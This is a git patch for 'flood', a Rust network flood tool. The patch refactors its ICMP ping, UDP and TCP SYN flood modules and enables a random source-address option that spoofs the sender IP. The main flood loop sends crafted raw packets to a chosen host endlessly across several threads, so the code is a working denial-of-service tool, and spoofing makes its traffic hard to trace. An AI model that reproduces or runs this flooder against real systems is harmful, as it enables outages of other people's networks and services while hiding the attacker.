From bb7bd277073851db823c71d0dbaf66a2237abfbb Mon Sep 17 00:00:00 2001 From: vvh413 Date: Mon, 26 Jun 2023 21:15:58 +0300 Subject: [PATCH] refactoring + rand source option --- Cargo.lock | 2 +- Cargo.toml | 2 +- src/cli.rs | 42 +++++++++++-------- src/flooder/icmp.rs | 67 +++++++++++++++--------------- src/flooder/mod.rs | 99 ++++++++++++++++++++++++++++++++------------- src/flooder/syn.rs | 74 ++++++++++++++++----------------- src/flooder/udp.rs | 72 ++++++++++++++++----------------- src/main.rs | 13 ++---- 8 files changed, 203 insertions(+), 168 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index ae99186..cfe0fb6 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -155,7 +155,7 @@ dependencies = [ [[package]] name = "flood" -version = "0.3.2" +version = "0.3.3" dependencies = [ "anyhow", "clap", diff --git a/Cargo.toml b/Cargo.toml index 973437a..02570fd 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "flood" -version = "0.3.2" +version = "0.3.3" edition = "2021" authors = ["vvh413"] description = "Network flood tool" diff --git a/src/cli.rs b/src/cli.rs index 6263e10..85e08c3 100644 --- a/src/cli.rs +++ b/src/cli.rs @@ -9,6 +9,12 @@ pub struct Cli { #[command(subcommand)] pub command: Command, + #[command(flatten)] + pub global: GlobalArgs, +} + +#[derive(Args, Clone)] +pub struct GlobalArgs { /// Number of threads #[arg(short, long, default_value_t = 3)] pub threads: usize, @@ -18,7 +24,7 @@ pub struct Cli { pub delay: u64, } -#[derive(Subcommand)] +#[derive(Subcommand, Clone)] pub enum Command { /// ICMP (ping) flood Icmp(IcmpArgs), @@ -28,24 +34,30 @@ pub enum Command { Syn(SynArgs), } -#[derive(Args, Clone)] -pub struct IcmpArgs { +#[derive(Args, Clone, Debug)] +pub struct CommonArgs { /// Destination address pub host: Ipv4Addr, /// Packet size in bytes #[arg(short, long, default_value_t = 1471)] pub size: usize, + + /// Random source addr + #[arg(short, long)] + pub random_source: bool, } -#[derive(Args, Clone)] -pub struct UdpArgs { - /// Destination address - pub host: Ipv4Addr, +#[derive(Args, Clone, Debug)] +pub struct IcmpArgs { + #[command(flatten)] + pub common: CommonArgs, +} - /// Packet size in bytes - #[arg(short, long, default_value_t = 8)] - pub size: usize, +#[derive(Args, Clone, Debug)] +pub struct UdpArgs { + #[command(flatten)] + pub common: CommonArgs, /// Destination port to flood (optional) #[arg(short, long)] @@ -56,14 +68,10 @@ pub struct UdpArgs { pub src_port: Option, } -#[derive(Args, Clone)] +#[derive(Args, Clone, Debug)] pub struct SynArgs { - /// Destination address - pub host: Ipv4Addr, - - /// Packet size in bytes - #[arg(short, long, default_value_t = 8)] - pub size: usize, + #[command(flatten)] + pub common: CommonArgs, /// Destination port to flood (optional) #[arg(short, long)] diff --git a/src/flooder/icmp.rs b/src/flooder/icmp.rs index a62b797..982b6fe 100644 --- a/src/flooder/icmp.rs +++ b/src/flooder/icmp.rs @@ -1,58 +1,51 @@ use std::net::Ipv4Addr; -use std::sync::{Arc, Mutex}; -use anyhow::Result; use pnet::packet::icmp::echo_request::MutableEchoRequestPacket; use pnet::packet::icmp::IcmpTypes; use pnet::packet::ip::IpNextHeaderProtocols; use pnet::packet::ipv4::MutableIpv4Packet; use pnet::packet::MutablePacket; -use pnet::transport::TransportChannelType::Layer3; -use pnet::transport::{transport_channel, TransportSender}; + use pnet::util; use crate::cli::IcmpArgs; +use crate::flooder::IPV4_HEADER_LEN; + +use super::{create_ipv4_packet, Packer}; -use super::{create_ipv4_packet, Flooder}; +const ICMP_HEADER_LEN: usize = 8; -pub struct IcmpFlooder { - tx: Arc>, - delay: u64, +#[derive(Clone)] +pub struct IcmpPacker { + buffer_ip: Vec, + buffer: Vec, args: IcmpArgs, } -impl IcmpFlooder { - pub fn init(args: IcmpArgs, delay: u64) -> Result { - println!("ICMP flood"); - println!("Payloading {}-byte packets", args.size); +impl IcmpPacker { + pub fn init(args: IcmpArgs) -> Self { + let buffer = vec![0u8; args.common.size + ICMP_HEADER_LEN]; + let buffer_ip = vec![0u8; buffer.len() + IPV4_HEADER_LEN]; - let (tx, _) = transport_channel(2 << 15, Layer3(IpNextHeaderProtocols::Icmp)).unwrap(); - Ok(Self { - tx: Arc::new(Mutex::new(tx)), - delay, + Self { + buffer_ip, + buffer, args, - }) + } } } -impl Flooder for IcmpFlooder { - type Args = IcmpArgs; - const PROTO_HEADER_LEN: usize = 8; - - fn clone(&self) -> (Arc>, Ipv4Addr, usize, Self::Args, u64) { - ( - self.tx.clone(), - self.args.host, - self.args.size, - self.args.clone(), - self.delay, - ) - } - - fn create_packet<'a>(buffer_ip: &'a mut [u8], buffer_icmp: &'a mut [u8], args: Self::Args) -> MutableIpv4Packet<'a> { - let mut ipv4_packet = create_ipv4_packet(buffer_ip, args.host, IpNextHeaderProtocols::Icmp, buffer_icmp.len()); - - let mut icmp_packet = MutableEchoRequestPacket::new(buffer_icmp).expect("Error creating icmp packet"); +impl Packer for IcmpPacker { + fn create_packet(&mut self) -> MutableIpv4Packet { + let mut ipv4_packet = create_ipv4_packet( + &mut self.buffer_ip, + self.args.common.host, + IpNextHeaderProtocols::Icmp, + self.buffer.len(), + self.args.common.random_source, + ); + + let mut icmp_packet = MutableEchoRequestPacket::new(&mut self.buffer).expect("Error creating icmp packet"); icmp_packet.set_icmp_type(IcmpTypes::EchoRequest); let checksum = util::checksum(icmp_packet.packet_mut(), 1); icmp_packet.set_checksum(checksum); @@ -60,4 +53,8 @@ impl Flooder for IcmpFlooder { ipv4_packet.set_payload(icmp_packet.packet_mut()); ipv4_packet } + + fn get_addr(&self) -> Ipv4Addr { + self.args.common.host + } } diff --git a/src/flooder/mod.rs b/src/flooder/mod.rs index 68795d9..141cc59 100644 --- a/src/flooder/mod.rs +++ b/src/flooder/mod.rs @@ -2,29 +2,37 @@ pub mod icmp; pub mod syn; pub mod udp; +use pnet::transport::TransportChannelType::Layer3; use std::net::Ipv4Addr; use std::sync::{Arc, Mutex}; use std::thread::JoinHandle; use std::time::Duration; -use pnet::packet::ip::IpNextHeaderProtocol; +use anyhow::Result; +use pnet::packet::ip::{IpNextHeaderProtocol, IpNextHeaderProtocols}; use pnet::packet::ipv4::MutableIpv4Packet; -use pnet::transport::TransportSender; -// use rand::Rng; +use pnet::transport::{transport_channel, TransportSender}; + +use crate::cli::{Command, GlobalArgs}; +use crate::flooder::icmp::IcmpPacker; +use crate::flooder::syn::SynPacker; +use crate::flooder::udp::UdpPacker; +use rand::Rng; pub const IPV4_HEADER_LEN: usize = 21; const TTL: u8 = 64; -// fn rand_ipv4() -> Ipv4Addr { -// let buf: [u8; 4] = rand::thread_rng().gen(); -// Ipv4Addr::from(buf) -// } +fn rand_ipv4() -> Ipv4Addr { + let buf: [u8; 4] = rand::thread_rng().gen(); + Ipv4Addr::from(buf) +} fn create_ipv4_packet( buffer_ip: &mut [u8], dest: Ipv4Addr, next_level_protocol: IpNextHeaderProtocol, payload_size: usize, + random_source: bool, ) -> MutableIpv4Packet { let mut ipv4_packet = MutableIpv4Packet::new(buffer_ip).expect("Error creating ipv4 packet"); ipv4_packet.set_version(4); @@ -33,41 +41,78 @@ fn create_ipv4_packet( ipv4_packet.set_ttl(TTL); ipv4_packet.set_next_level_protocol(next_level_protocol); ipv4_packet.set_destination(dest); - // ipv4_packet.set_source(rand_ipv4()); + if random_source { + ipv4_packet.set_source(rand_ipv4()); + } ipv4_packet } -pub trait Flooder { - type Args: Clone + Send + 'static; - const PROTO_HEADER_LEN: usize; +trait Packer { + fn create_packet(&mut self) -> MutableIpv4Packet; + fn get_addr(&self) -> Ipv4Addr; +} - fn clone(&self) -> (Arc>, Ipv4Addr, usize, Self::Args, u64); +pub struct Flooder { + tx: Arc>, + args: GlobalArgs, + packer: Command, +} + +impl Flooder { + pub fn init(global_args: GlobalArgs, packer: Command) -> Result { + println!("Initializing flooder"); - fn start(&self, threads: usize) -> Vec> { - if threads > 1 { - println!("Spawning {} threads", threads); + let next_proto = match packer.clone() { + Command::Icmp(args) => { + println!("Payloading {}-byte ICMP packets", args.common.size); + IpNextHeaderProtocols::Icmp + } + Command::Udp(args) => { + println!("Payloading {}-byte UDP packets", args.common.size); + IpNextHeaderProtocols::Udp + } + Command::Syn(args) => { + println!("Payloading {}-byte SYN packets", args.common.size); + IpNextHeaderProtocols::Tcp + } + }; + + let (tx, _) = transport_channel(2 << 15, Layer3(next_proto))?; + Ok(Self { + tx: Arc::new(Mutex::new(tx)), + args: global_args, + packer, + }) + } + + pub fn start(&self) -> Vec> { + if self.args.threads > 1 { + println!("Spawning {} threads", self.args.threads); } - (0..threads) + (0..self.args.threads) .map(|_| { - let (tx, addr, size, args, delay) = self.clone(); - std::thread::spawn(move || Self::flood(tx, addr, size, args, delay)) + let tx = self.tx.clone(); + let args = self.args.clone(); + let packer = self.packer.clone(); + std::thread::spawn(move || Self::flood(tx, args, packer)) }) .collect() } - fn flood(tx: Arc>, addr: Ipv4Addr, size: usize, args: Self::Args, delay: u64) { - let mut buffer = vec![0u8; size + Self::PROTO_HEADER_LEN]; - let mut buffer_ip = vec![0u8; buffer.len() + IPV4_HEADER_LEN]; + fn flood(tx: Arc>, args: GlobalArgs, packer: Command) { + let mut packer = match packer { + Command::Icmp(args) => Box::new(IcmpPacker::init(args)) as Box, + Command::Udp(args) => Box::new(UdpPacker::init(args)) as Box, + Command::Syn(args) => Box::new(SynPacker::init(args)) as Box, + }; + let address = packer.get_addr(); loop { - let args = args.clone(); - let packet = Self::create_packet(&mut buffer_ip, &mut buffer, args); + let packet = packer.create_packet(); let mut tx = tx.lock().unwrap(); - if let Err(err) = tx.send_to(packet, std::net::IpAddr::V4(addr)) { + if let Err(err) = tx.send_to(packet, std::net::IpAddr::V4(address)) { panic!("{err}"); } - std::thread::sleep(Duration::from_micros(delay)) + std::thread::sleep(Duration::from_micros(args.delay)) } } - - fn create_packet<'a>(buffer_ip: &'a mut [u8], buffer: &'a mut [u8], args: Self::Args) -> MutableIpv4Packet<'a>; } diff --git a/src/flooder/syn.rs b/src/flooder/syn.rs index dddebca..ff9bb7d 100644 --- a/src/flooder/syn.rs +++ b/src/flooder/syn.rs @@ -1,65 +1,55 @@ -use std::net::Ipv4Addr; -use std::sync::{Arc, Mutex}; - -use anyhow::Result; - use pnet::packet::ip::IpNextHeaderProtocols; use pnet::packet::ipv4::MutableIpv4Packet; use pnet::packet::tcp::{MutableTcpPacket, TcpFlags}; use pnet::packet::MutablePacket; -use pnet::transport::TransportChannelType::Layer3; -use pnet::transport::{transport_channel, TransportSender}; +use std::net::Ipv4Addr; use pnet::util; use rand::Rng; use crate::cli::SynArgs; +use crate::flooder::IPV4_HEADER_LEN; -use super::{create_ipv4_packet, Flooder}; +use super::{create_ipv4_packet, Packer}; +const TCP_HEADER_LEN: usize = 20; -pub struct SynFlooder { - tx: Arc>, - delay: u64, +#[derive(Clone)] +pub struct SynPacker { + buffer_ip: Vec, + buffer: Vec, args: SynArgs, } -impl SynFlooder { - pub fn init(args: SynArgs, delay: u64) -> Result { - println!("SYN flood"); - println!("Payloading {}-byte packets", args.size); +impl SynPacker { + pub fn init(args: SynArgs) -> Self { + let buffer = vec![0u8; args.common.size + TCP_HEADER_LEN]; + let buffer_ip = vec![0u8; buffer.len() + IPV4_HEADER_LEN]; - let (tx, _) = transport_channel(2 << 15, Layer3(IpNextHeaderProtocols::Tcp)).unwrap(); let mut args = args; args.src_port = Some(args.src_port.unwrap_or(rand::thread_rng().gen_range(49152..=65535))); - Ok(Self { - tx: Arc::new(Mutex::new(tx)), - delay, + + Self { + buffer_ip, + buffer, args, - }) + } } } -impl Flooder for SynFlooder { - type Args = SynArgs; - const PROTO_HEADER_LEN: usize = 20; +impl Packer for SynPacker { + fn create_packet(&mut self) -> MutableIpv4Packet { + let tcp_size = self.buffer.len(); + let mut ipv4_packet = create_ipv4_packet( + &mut self.buffer_ip, + self.args.common.host, + IpNextHeaderProtocols::Tcp, + tcp_size, + self.args.common.random_source, + ); - fn clone(&self) -> (Arc>, Ipv4Addr, usize, Self::Args, u64) { - ( - self.tx.clone(), - self.args.host, - self.args.size, - self.args.clone(), - self.delay, - ) - } - - fn create_packet<'a>(buffer_ip: &'a mut [u8], buffer_tcp: &'a mut [u8], args: Self::Args) -> MutableIpv4Packet<'a> { - let tcp_size = buffer_tcp.len(); - let mut ipv4_packet = create_ipv4_packet(buffer_ip, args.host, IpNextHeaderProtocols::Tcp, tcp_size); - - let mut tcp_packet = MutableTcpPacket::new(buffer_tcp).expect("Error creating tcp packet"); - tcp_packet.set_source(args.src_port.unwrap()); - tcp_packet.set_destination(args.port.unwrap_or(rand::thread_rng().gen_range(1..49152))); + let mut tcp_packet = MutableTcpPacket::new(&mut self.buffer).expect("Error creating tcp packet"); + tcp_packet.set_source(self.args.src_port.unwrap()); + tcp_packet.set_destination(self.args.port.unwrap_or(rand::thread_rng().gen_range(1..49152))); tcp_packet.set_sequence(0); tcp_packet.set_acknowledgement(0); tcp_packet.set_data_offset(5); @@ -72,4 +62,8 @@ impl Flooder for SynFlooder { ipv4_packet.set_payload(tcp_packet.packet_mut()); ipv4_packet } + + fn get_addr(&self) -> Ipv4Addr { + self.args.common.host + } } diff --git a/src/flooder/udp.rs b/src/flooder/udp.rs index 1f8aafc..5cc03da 100644 --- a/src/flooder/udp.rs +++ b/src/flooder/udp.rs @@ -1,65 +1,57 @@ use std::net::Ipv4Addr; -use std::sync::{Arc, Mutex}; - -use anyhow::Result; use pnet::packet::ip::IpNextHeaderProtocols; use pnet::packet::ipv4::MutableIpv4Packet; use pnet::packet::udp::MutableUdpPacket; use pnet::packet::MutablePacket; -use pnet::transport::TransportChannelType::Layer3; -use pnet::transport::{transport_channel, TransportSender}; use pnet::util; use rand::Rng; use crate::cli::UdpArgs; +use crate::flooder::IPV4_HEADER_LEN; + +use super::{create_ipv4_packet, Packer}; -use super::{create_ipv4_packet, Flooder}; +const UDP_HEADER_LEN: usize = 8; -pub struct UdpFlooder { - tx: Arc>, - delay: u64, +#[derive(Clone)] +pub struct UdpPacker { + buffer_ip: Vec, + buffer: Vec, args: UdpArgs, } -impl UdpFlooder { - pub fn init(args: UdpArgs, delay: u64) -> Result { - println!("UDP flood"); - println!("Payloading {}-byte packets", args.size); +impl UdpPacker { + pub fn init(args: UdpArgs) -> Self { + let buffer = vec![0u8; args.common.size + UDP_HEADER_LEN]; + let buffer_ip = vec![0u8; buffer.len() + IPV4_HEADER_LEN]; - let (tx, _) = transport_channel(2 << 15, Layer3(IpNextHeaderProtocols::Udp)).unwrap(); let mut args = args; args.src_port = Some(args.src_port.unwrap_or(rand::thread_rng().gen_range(49152..=65535))); - Ok(Self { - tx: Arc::new(Mutex::new(tx)), - delay, + + Self { + buffer_ip, + buffer, args, - }) + } } } -impl Flooder for UdpFlooder { - type Args = UdpArgs; - const PROTO_HEADER_LEN: usize = 8; - - fn clone(&self) -> (Arc>, Ipv4Addr, usize, Self::Args, u64) { - ( - self.tx.clone(), - self.args.host, - self.args.size, - self.args.clone(), - self.delay, - ) - } - - fn create_packet<'a>(buffer_ip: &'a mut [u8], buffer_udp: &'a mut [u8], args: Self::Args) -> MutableIpv4Packet<'a> { - let udp_size = buffer_udp.len(); - let mut ipv4_packet = create_ipv4_packet(buffer_ip, args.host, IpNextHeaderProtocols::Udp, udp_size); +impl Packer for UdpPacker { + fn create_packet(&mut self) -> MutableIpv4Packet { + let udp_size = self.buffer.len(); + let mut ipv4_packet = create_ipv4_packet( + &mut self.buffer_ip, + self.args.common.host, + IpNextHeaderProtocols::Udp, + udp_size, + self.args.common.random_source, + ); - let mut udp_packet = MutableUdpPacket::new(buffer_udp).expect("Error creating udp packet"); - udp_packet.set_source(args.src_port.unwrap()); - udp_packet.set_destination(args.port.unwrap_or(rand::thread_rng().gen_range(1..49152))); + let mut udp_packet = MutableUdpPacket::new(&mut self.buffer).expect("Error creating udp packet"); + udp_packet.set_source(self.args.src_port.unwrap()); + udp_packet.set_destination(self.args.port.unwrap_or(rand::thread_rng().gen_range(1..49152))); udp_packet.set_length(udp_size as u16); let checksum = util::checksum(udp_packet.packet_mut(), 1); udp_packet.set_checksum(checksum); @@ -67,4 +59,8 @@ impl Flooder for UdpFlooder { ipv4_packet.set_payload(udp_packet.packet_mut()); ipv4_packet } + + fn get_addr(&self) -> Ipv4Addr { + self.args.common.host + } } diff --git a/src/main.rs b/src/main.rs index 88be38f..eba4661 100644 --- a/src/main.rs +++ b/src/main.rs @@ -7,10 +7,7 @@ use std::time::Duration; use anyhow::Result; use clap::Parser; -use cli::Command; -use flooder::icmp::IcmpFlooder; -use flooder::syn::SynFlooder; -use flooder::udp::UdpFlooder; + use flooder::Flooder; const SYMBOLS: [char; 4] = ['/', '-', '\\', '|']; @@ -18,11 +15,9 @@ const SYMBOLS: [char; 4] = ['/', '-', '\\', '|']; fn main() -> Result<()> { let cli = cli::Cli::parse(); - let handles = match cli.command { - Command::Icmp(args) => IcmpFlooder::init(args, cli.delay)?.start(cli.threads), - Command::Udp(args) => UdpFlooder::init(args, cli.delay)?.start(cli.threads), - Command::Syn(args) => SynFlooder::init(args, cli.delay)?.start(cli.threads), - }; + let flooder = Flooder::init(cli.global, cli.command)?; + let handles = flooder.start(); + let mut symbols = SYMBOLS.iter().cycle(); while !handles.iter().all(|handle| handle.is_finished()) { print!("\rFlooding... {}", symbols.next().unwrap());